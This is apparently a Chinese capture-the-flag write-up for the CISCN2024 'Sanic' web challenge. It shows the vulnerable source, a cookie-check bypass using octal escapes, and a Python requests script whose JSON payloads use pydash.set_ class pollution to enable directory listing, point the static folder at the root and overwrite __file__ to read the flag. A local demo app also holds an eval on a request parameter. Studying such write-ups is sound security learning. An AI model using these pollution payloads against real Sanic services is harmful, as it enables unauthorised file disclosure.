参考原文
CISCN2024-WEB-Sanic gxngxngxn - gxngxngxn - 博客园 (cnblogs.com)
sanic 右键查看源码,/src路由找到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from sanic import Sanic from sanic.response import text, html from sanic_session import Session import pydash # pydash==5.1.2 class Pollute: def __init__(self): pass app = Sanic(__name__) app.static("/static/", "./static/") Session(app) @app.route('/', methods=['GET', 'POST']) async def index(request): return html(open('static/index.html').read()) @app.route("/login") async def login(request): user = request.cookies.get("user") if user.lower() == 'adm;n': request.ctx.session['admin'] = True return text("login success") return text("login fail") @app.route("/src") async def src(request): return text(open(__file__).read()) @app.route("/admin", methods=['GET', 'POST']) async def admin(request): if request.ctx.session.get('admin') == True: key = request.json['key'] value = request.json['value'] if key and value and type(key) is str and '_.' not in key: pollute = Pollute() pydash.set_(pollute, key, value) return text("success") else: return text("forbidden") return text("forbidden") if __name__ == '__main__': app.run(host='0.0.0.0')
/admin
路由中的pydash.set_
可以在嵌套的字典中设置值。pydash.set_
的参数可控 可以通过这个对修改__file__
在此之前要先让request.ctx.session.get('admin')
的值为True
在/login
路由当Cookie
中的user的值为adm;n
时会将request.ctx.session.get('admin')
的值设置为True
但是Cookie中有;
时会存在截断 用8进制绕过 (RFC2068 的编码规则)
_.
被过滤了,pydash中的unescape_path_key()进行替换
替换路径键中的双反斜杠 (\\
) 为单反斜杠 (\
)。
替换路径键中的转义点 (\.
) 为点 (.
)。
尝试污染__file__
由于不知道flag在那个文件中,无法进行读取
然后就需要我们用污染的方式打开列目录功能,然后查看含有flag文件的名字
static
中的directory_view
被设置为true时,会开启目录浏览功能。而Directory_handler可以控制显示的目录
Directory_handler调用了DirectoryHandler类
跟进DirectoryHandler类+
在router.py中的下一个断点
这里需要将directory_view
污染为True
。将parts
污染为根目录
写一个简易demo在本地调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from sanic import Sanicfrom sanic.response import textimport pydashclass Pollute : def __init__ (self ): pass app = Sanic(__name__) app.static("/static/" ,"/static/" ) @app.route('/' ) async def hello (request ): eval (request.args.get('a' )) return text('Hello' ) @app.route("admin" ,methods=['POST' ,'GET' ] ) async def admin (request ): key = request.json['key' ] value = request.json['value' ] pollute = Pollute() pydash.set_(pollute,key,value) return text("Success!" ) if __name__ == '__main__' : app.run(host = '0.0.0.0' ,port = 8000 )
这个框架可以通过**app.router.name_index[‘xxxxx’]**来获取注册的路由
然后可以通过下图的树状结构去寻找direct_view
对directory_view
的值进行污染
然后再directory
的值进行污染
directory
是一个对象,里面的值有parts决定。parts,是一个tuple无法被直接污染。
先回到DirectoryHandler
类中,跟进path
访问这个属性,发现是字典类型。(自己在调试器里面没找到,只好像大佬一样访问这个属性了)
本地环境出现些小问题,污染_parts
用ctfshow的靶场
这里用我bp发包会出现些问题,用gxngxngxn
佬的脚本打
这里贴上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requests #开启列目录 #data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True} #将目录设置在根目录下 data = {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]} #读取flag文件 #data = {"key":"__init__\\\\.__globals__\\\\.__file__","value": "/flag文件名字"} cookie={"session":"2678fc75aeb241b3a46c52747e9fa7ff"} response = requests.post(url='https://7d67a488-843e-497b-988e-b4fa1f0be3d5.challenge.ctf.show/admin', json=data,cookies=cookie,verify=False) print(response.text)
最后通过污染__file__
读取flag